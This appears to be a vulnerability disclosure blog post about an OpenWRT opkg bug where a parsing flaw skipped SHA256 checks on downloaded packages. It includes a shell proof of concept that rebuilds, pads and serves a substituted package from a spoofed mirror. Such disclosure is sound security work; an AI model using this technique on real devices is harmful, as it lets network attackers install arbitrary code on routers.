Oops! Something went wrong while submitting the form.
Introduction: Fuzzing OpenWRT
For ForAllSecure, I’ve been focusing on finding bugs in OpenWRT using their Mayhem software. My research on OpenWRT has been a combination of writing custom harnesses, running binaries of the box without recompilation, and manual inspection of code.
I found this vulnerability initially by chance when I was preparing a Mayhem task for opkg.
Mayhem can serve data either from a file or from a network socket.
opkg downloads packages from downloads.openwrt.org, so my plan was to let this domain name point to 127.0.0.1 from which Mayhem is serving.
To test if opkg would indeed download packages from a custom network connection, I set up a local web server and created a file consisting of random bytes. When I ran opkg to install a package, it retrieved the file as I had intended, and then threw a segmentation fault.
I didn’t understand why an invalid package would cause this error. After all, the package shouldn’t be processed if the SHA256 hash was incorrect.
My initial hunch was that opkg would download the package, unpack it to a temporary directory, and only then verify the SHA256 hash before definitively installing it to the system. I suspected that the unpacker couldn’t deal with malformed data, like the file with random bytes served from my web server.
Further inspection showed that the SHA256 hash wasn’t checked at all, which is the basis of the vulnerability at hand.
I was right about the unpacker being buggy, though; malformed data would lead to a variety of memory violations.
Once I confirmed that opkg would attempt to unpack and install any package it downloads, I was able to recreate the findings with Mayhem with just a slight modification to opkg.
I set up a Mayhem task for opkg install attr (attr is a small OpenWRT package), and implicitly, Mayhem was able to find the remote code execution bug, by detecting the memory bugs in the package unpacker. If OpenWRT’s SHA256 verification had worked as intended, opkg would simply discard the package and not process it, and no segmentation faults would transpire.
Mayhem is capable of fuzzing binaries without recompilation or instrumentation. Coming from a workflow that involves writing many custom harnesses for software libraries (which Mayhem also supports), this has been a delightful experience and it has allowed me to set up targets for dozens of OpenWRT applications in just weeks, and more vulnerability disclosures are forthcoming.
In the following sections, I’ll dive deeper into how I identified the vulnerability.
OpenWRT is a free, Linux-based operating system geared towards use in embedded devices in general and network routers in particular. By all accounts it is installed on millions of devices across the world.
The OpenWRT Package Manager
To install or update software on an OpenWRT system such as an OpenWRT web server, a utility called opgk is used. Its functionality and purpose are comparable to apt on Debian-based systems.
opkg retrieves the lists of package available for installation from downloads.openwrt.org over an unencrypted HTTP connection.
The package lists are digitally signed. This ensures that before the package file is processed, it is verified to come from the OpenWRT maintainers, and discarded if verification fails.
The SHA256sum field is there to ensure that a downloaded package is not corrupted or compromised. The expected SHA256 hash is implicitly guaranteed to come from the OpenWRT maintainers, because the package list that embeds it, is itself verified with a valid signature.
In theory this means that through the use of signatures nor the package list, nor a package archive can be tampered even though the transport channel (HTTP) is by itself insecure.
Some discussion about this way of reasoning can be found here.
Fuzz Testing is a Proven Technique for Uncovering Zero-Days.
See other zero-days Mayhem, a ForAllSecure fuzz testing technology, has found.
Initially, thesandsrcvariables point to the same address.
On line 246, thesrcvariable is advanced to the first non-space character. However, the actual decoding, which happens inside theforloop starting on line 256 operates on thesvariable, which still points to the very start of the string.
Hence, if the input string has any leading spaces, this will attempt to decode the space character. The space is not a hexadecimal character, soisxdigit()returns false, and the decoder loop will exit immediately, leaving*lenset to0.
If we look at the package parser again, we see that the string passed topkg_set_sha256is the part of the line after “SHA256sum:
pkg_set_sha256(pkg, line + strlen("SHA256sum") + 1);
In effect, this means that the first character of that string is a space.
After the package list parsing has completed, the package is downloaded, again over HTTP.
Several verification steps follow.
The size of the downloaded package must be equal to that specified in the package list:
For exploitation it is required that the attacker serves (compromised) packages from a web server.
The attacker must either be in a position to intercept and replace communication between the device and downloads.openwrt.org, or control the DNS server used by the device to make downloads.openwrt.org point to a web server controlled by the attacker.
Attacks on a local network using packet spoofing or ARP cache poisoning might be possible, but this has not been tested.
The sole constraint to reckon with is that the file size of compromised package must match the Size field in the package list.
Doing this is trivial:
Create a package that is smaller than the original
Compute the size difference between the original package and the compromised package
Append this amount of zero bytes to the end of the compromised package
The following proof-of-concept demonstrates how exploitation may be achieved:
# Download the package lists for mirroring
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/base/Packages.gz
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/base/Packages.sig
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/luci/Packages.gz
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/luci/Packages.sig
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/packages/Packages.gz
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/packages/Packages.sig
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/routing/Packages.gz
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/routing/Packages.sig
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/telephony/Packages.gz
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/telephony/Packages.sig
wget -x http://downloads.openwrt.org/snapshots/targets/x86/64/packages/Packages.gz
wget -x http://downloads.openwrt.org/snapshots/targets/x86/64/packages/Packages.sig
mv downloads.openwrt.org/snapshots .rm -rf downloads.openwrt.org/
# Get the original package
ORIGINAL_FILESIZE=$(stat -c%s "attr_2.4.48-2_x86_64.ipk")
tar zxf attr_2.4.48-2_x86_64.ipk
# Extract the binaries
tar zxvf ../data.tar.gz
# Build the replacement binary. It is a very small program that prints a string.
rm -f /tmp/pwned.asm /tmp/pwned.o
echo "section .text" >>/tmp/pwned.asm
echo "global _start" >>/tmp/pwned.asm
echo "_start:" >>/tmp/pwned.asm
echo " mov edx,len" >>/tmp/pwned.asm
echo " mov ecx,msg" >>/tmp/pwned.asm
echo " mov ebx,1" >>/tmp/pwned.asm
echo " mov eax,4" >>/tmp/pwned.asm
echo " int 0x80" >>/tmp/pwned.asm
echo " mov eax,1" >>/tmp/pwned.asm
echo " int 0x80" >>/tmp/pwned.asm
echo "section .data" >>/tmp/pwned.asm
echo "msg db 'pwned :)',0xa" >>/tmp/pwned.asm
echo "len equ $ - msg" >>/tmp/pwned.asm
nasm /tmp/pwned.asm -f elf64 -o /tmp/pwned.o
ld /tmp/pwned.o -o usr/bin/attr
# Pack into data.tar.gz
tar czvf ../data.tar.gz *
# Remove files no longer needed
rm -rf data/
tar czvf attr_2.4.48-2_x86_64.ipk control.tar.gz data.tar.gz debian-binary
# Remove files no longer needed
rm control.tar.gz data.tar.gz debian-binary
# Compute the size difference between the original package and the compromised package
MODIFIED_FILESIZE=$(stat -c%s "attr_2.4.48-2_x86_64.ipk")
# Pad the modified file to the expected size
head /dev/zero -c$FILESIZE_DELTA >>attr_2.4.48-2_x86_64.ipk
# Download the dependency of attr
# Position the files for serving from the web server
mkdir -p snapshots/packages/x86_64/packages/
mv attr_2.4.48-2_x86_64.ipk snapshots/packages/x86_64/packages/
mv libattr_2.4.48-2_x86_64.ipk snapshots/packages/x86_64/packages/
# Launch a basic web server that opkg will be connecting to
sudo python -m SimpleHTTPServer 80
If we assume that the web server IP is 192.168.2.10, running following commands on an OpenWRT system:
would print ‘pwned :)’ before the fixes were implemented.
The modification to /etc/hosts is required to emulate a man-in-the-middle (or compromised DNS) situation.
As a stopgap solution, OpenWRT removed the space in the SHA256sum from the package list shortly after I reported the bug.
This helped mitigate the risk to users somewhat; users who updated their package lists following this change were no longer vulnerable, as subsequent installs would set out from a well-formed list that would not sidestep the hash verification.
However, this is not an adequate long-term solution because an attacker can simply provide an older package list that was signed by the OpenWRT maintainers.
The bug in checksum_hex2bin was fixed in this commit and integrated in OpenWRT versions 18.06.7 and 19.07.1, both released on February 1st 2020.
My recommendation is to upgrade OpenWRT versions to 18.06.7 or 19.07.1.
Back in 2016, Jann Horn of Google Project Zero found a bug with a comparable impact in Debian’s apt package manager.